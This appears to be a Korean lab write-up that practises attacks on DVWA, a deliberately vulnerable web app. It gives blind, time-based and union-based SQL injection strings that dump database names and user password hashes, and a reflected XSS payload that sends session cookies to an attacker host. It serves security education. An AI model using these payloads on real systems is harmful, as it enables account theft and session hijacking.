Blind SQL Injection 탭을선택하고 User ID 값에 1을요청한다. 1을전송하면 User ID가존재한다고표시된다.
[그림 1-2] User ID 입력
이번엔 User ID 값에 6을요청한다. 6을전송하면 User ID가존재하지않는다고표시된다. 이러한응답값을통해데이터베이스는총 5개가된다는것을추측할수있다.
[그림 1-3] 정상값처리
AND 뒤에 1=1#이라는항상참이되는조건을추가해삽입하고실행한다. 1'이라는값이참이기때문에뒤에 1=1# 이라는참이되는조건을추가하면데이터베이스는존재한다는것을알수있다. 만약 SQL 인젝션쿼리문이실행되지않는다면 ID가 1이아니라 1' AND 1=1#의전체문자열을하나의 ID로처리하고비정상적인값은실행하지않아 User ID가없다는메시지가나와야한다.
[그림 1-4] 비정상값처리
AND 뒤에 1=2#이라는거짓이되는조건을추가해삽입하고실행한다. User ID는존재하지않는다고출력된다. AND 뒤에 1=2가거짓이되기때문에앞에붙은조건과관계없이거짓이된다. 즉, AND 이후조건에따라결과가바뀐다는거고입력하는값이 SQL 쿼리문을통해처리되고있다고추측할수있다.
[그림 1-5] 소스코드
소스코드를보면빨간색박스안에 SQL 쿼리문을구성하고있다. User_id='1' AND 1=1과같이전제가참인조건문이되서사용자가존재한다고출력된거고 AND 1=2를입력하면 where 구문이전부거짓이되서사용자가없다고출력한것이다. 이와같이참, 거짓이구분되서출력되는것은 SQL 쿼리문이뒤에서사용되고있는것을추측해볼수있다.
(2) Time based SQL 인젝션공격실습
[그림 2-1] sleep 함수
User ID에 1' AND sleep(5)#을입력한후요청한다. 개발자도구를활용해응답시간을확인하면약 5초동안응답값이지연되는현상을볼수있다.
[그림 2-2] sleep 함수
이번에는 User ID에 6' AND sleep(5)#을입력한후요청한다. 개발자도구를활용해응답시간을확인하면응답값이지연되지않고응답되는현상을볼수있다. 앞에 6'이거짓이기때문에응답값이지연되지않고응답되는것이다. 즉, 6이라는데이터베이스는존재하지않는것이다. 조건이참일때만응답값이지연되고거짓일땐응답값이지연되지않는참, 거짓을통해구분할수있게된다.
이에반해악의적인의도를가진공격자는 SQL 쿼리문을조작해요청값이외의정보도탈취한다. 공격자는 ID값 1 이외에도다른 DB 정보도탈취하기위해 1' union select name,pw from users#이라는 SQL 쿼리를웹애플리케이션에전달한다. union 구문은두개이상의 select 구문을합치는데사용하게된다. 여기서도요청값이외에 union 구문을삽입해참을만들어추가 DB 정보를탈취한다. DB에 SQL 공격쿼리구문이전달되고별다른검증값을거치지않는다면 DB에존재하는모든사용자의이름, 비밀번호가공격자에게그대로전달된다.
(1) Union 구문칼럼개수추측실습
[그림 1-2] Union SQL 공격구문
Union SQL 공격구문을삽입해실행하면 [그림 2-2]와같이 DB 정보가그대로노출됨을확인할수있다. #은 Mysql의라인을처리하는주석으로만약 ID, password 창이있다면 ID에 #이적용되면 password 창은모두주석처리되서참인결과를반환한다.
[그림 1-3]SQL 공격구문
칼럼의개수를확인하기위해 select에 1,1,1을삽입해실행한다.
[그림 1-4] 에러메시지
Union select 구문실행결과에러메시지가출력된다. 이는컬럼의개수가 3개는아니라는의미다. 따라서공격자는컬럼의개수는 2개임을추측할수있다.
[그림 1-5] order by SQL 공격구문
order by 구문은 SQL에서지정된컬럼순으로오름차순, 내림차순으로정렬을해주는역할을한다. [그림 2-5]에서컬럼의개수를알아보기위해 order by SQL 공격구문을삽입하면 DB 정보가그대로노출됨을확인할수있다.
[그림 1-5] order by SQL 공격구문
order by 뒤에 2를붙여컬럼 2개를묶어실행한결과 DB 정보가그대로노출됨을알수있다.
[그림 1-6] order by SQL 공격구문
order by 뒤에 3을붙여컬럼 3개를묶어실행한다.
[그림 1-7] 에러페이지
order by SQL 공격구문실행결과에러페이지가출력됨을확인할수있다. 에러페이지가출력됨으로써컬럼의개수는 2개임을추측할수있다.
(2) Union 구문계정탈취
[그림 2-1] 데이터베이스명
데이터베이스명을알아보기위해1' union select schema_name,1 from information_schema.schemata #을입력해데이터베이스명을확인한다. 입력한 SQL 공격구문은 schemata 테이블의information_schema컬럼에서schema_name,1의정보를가져와앞의 1'와합쳐서 DB 정보를출력한다는의미다. Union SQL 공격구문을입력하면데이터베이스명을알수있다.
[그림 2-2] dvwa 데이터베이스의 테이블 명
dvwa 데이터베이스의 테이블 명을알아보기위해1' union select table_schema, table_name from information_schema.tables where table_schema = 'dvwa' #를입력해테이블명을확인한다. table_schema의 dvwa 데이터베이스에서 tables 테이블의information_schema컬럼에서table_schema, table_name의정보를가져와앞의 1'와합쳐서 DB 정보를출력한다는의미다. Union SQL 공격구문을입력하면테이블명을알수있다.
[그림 2-3] users 테이블 칼럼
Users 테이블의칼럼정보를알아보기위해1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'# 을입력해테이블칼럼을확인한다. 기존과형식은비슷하지만 where 조건뒤에and table_name = 'users'#가추가되서조회된다. DB 정보를가져오면 users의테이블의칼럼을확인할수있다.
[그림 2-4] users 테이블 정보
users 테이블 정보를알아보기위해1' union select user, password from users#을입력해실행한다. 실행결과사용자계정으로추측되는정보들이있음을확인할수있다. 아이디는평문이지만패스워드는 MD5 형식의해쉬값으로저장되어있다. 하지만 MD5 형식의해쉬값도구글에검색하면바로해독이가능하다.
타임 아웃을설정해놓는소스코드다. 만약 3회이상로그인이실패하면자동으로 15분동안로그인이금지된다. 하지만정상적인사용자도 3회이상패스워드가틀리면 15분동안접속이차단된다. 사용자의 ID를차단하기보단접속자 IP를차단하는게가용성을높일수있지만접속자 IP 주소를서버에서관리를해야하기때문에서버의부담이늘어날수있는단점이있다.
PHP의 preg_replace 함수를 이용해 <*s*c*r*i*p*t 규칙에 해당하는 문자열을 대소문자 구분하지 않고 제거한다. "<script", "<SCRIPT", "<SC\RIPT", "</script", "</SCRIPT", "</SC/**/RIPT" 등의 문자열을 제거하기때문에 <script>를 이용해 자바스크립트를 삽입할 수 있는 방법은 없다.
리플렉티드 크로스 사이트 스크립팅 취약점은 요청 메시지에 입력된 스크립트 코드가 즉시 응답 메시지를 통해 출력되는 취약점이다. 입력된 스크립트가 마치 반사되는 것처럼 동작하기 때문에 붙은 이름이다.
[그림 1-1] Reflected XSS 공격 과정
[출저 : AhnLab Blog]
공격자는 사용자가 Reflected XSS 공격에 유도될 수 있도록 이메일, 게시판, SNS 등 공격자가 링크를 남길 수 있는 곳이라면 어디든 피싱을 한다. 사용자는 공격자가 걸어 놓은 악성 링크를 클릭하게 되면 공격 스크립트 코드가 삽입된 사이트로 이동되고 입력된 스크립트가 반사되어 그대로 웹 사이트에 출력된다. 웹 페이지를 읽은 웹 브라우저는 자동으로 스크립트를 실행하고 세션 쿠키를 공격자에게 전달한다. 세션 쿠키를 전달받은 공격자는 사용자의 권한으로 로그인할 수 있게 된다.
2. Reflected XSS 공격실습
[그림 1-2] XSS 공격 구문
XSS 공격 구문인 <script>alert(1)</script>를 삽입한 후 Submit을 클릭해 웹 브라우저에 요청을 보낸다.
[그림 1-3] Reflected XSS 공격 실행
웹 브라우저에 요청을 보내면 곧바로 경고창이 실행된다. 이와 같이 스크립트가 응답되서 실행될 때 Reflected XSS 공격 취약점이 존재한다고 판단할 수 있다.
[그림 1-4] 쿠키 값 탈취 스크립트
웹 브라우저에 쿠키 값을 탈취할 수 있는 Reflected XSS 공격 구문을 삽입한 후 요청을 보낸다.
[그림 1-5] 쿠키 값 탈취
document.cookie 스크립트 코드로 인해 쿠키 값이 출력된다. PHPSESSID라는 쿠키는 php에서 생성된 세션 쿠키다. Reflected XSS 공격은 주로 세션 쿠키를 알아내기 위해 사용된다.
[그림 1-5] Redirect 스크립트
폼에 <script>document.location='http://192.168.171.172/cookie?'+document.cookie</script>를 입력하고 요청을 보낸다. document.location을 이용해 지정한 위치로 리다이렉트 시키는 스크립트다. 이 스크립트가 실행되면 웹 브라우저는 공격자의 호스트로 접속하게 된다.
[그림 1-6] 로그 검색
Tail 명령어를 활용해 파일의 내용을 확인한다. 웹 서버로 들어온 요청 정보가 기록되는데 DVWA에서 Reflected XSS 공격을 할 때마다 로그 파일에 로그가 계속 기록된다. 앞서 했던 쿠키 값을 탈취하기 위해 실행했던 document.cookie 스크립트와 함께 PHPSESSID 세션 쿠키 값도 모두 기록되어 있다는 것을 확인할 수 있다. Reflected XSS 공격은 사용자가 눈치 채지 못하게 공격을 해야 하기 때문에 사용자에게 피싱을 어떤식으로 하는지가 가장 중요한 관건이 된다.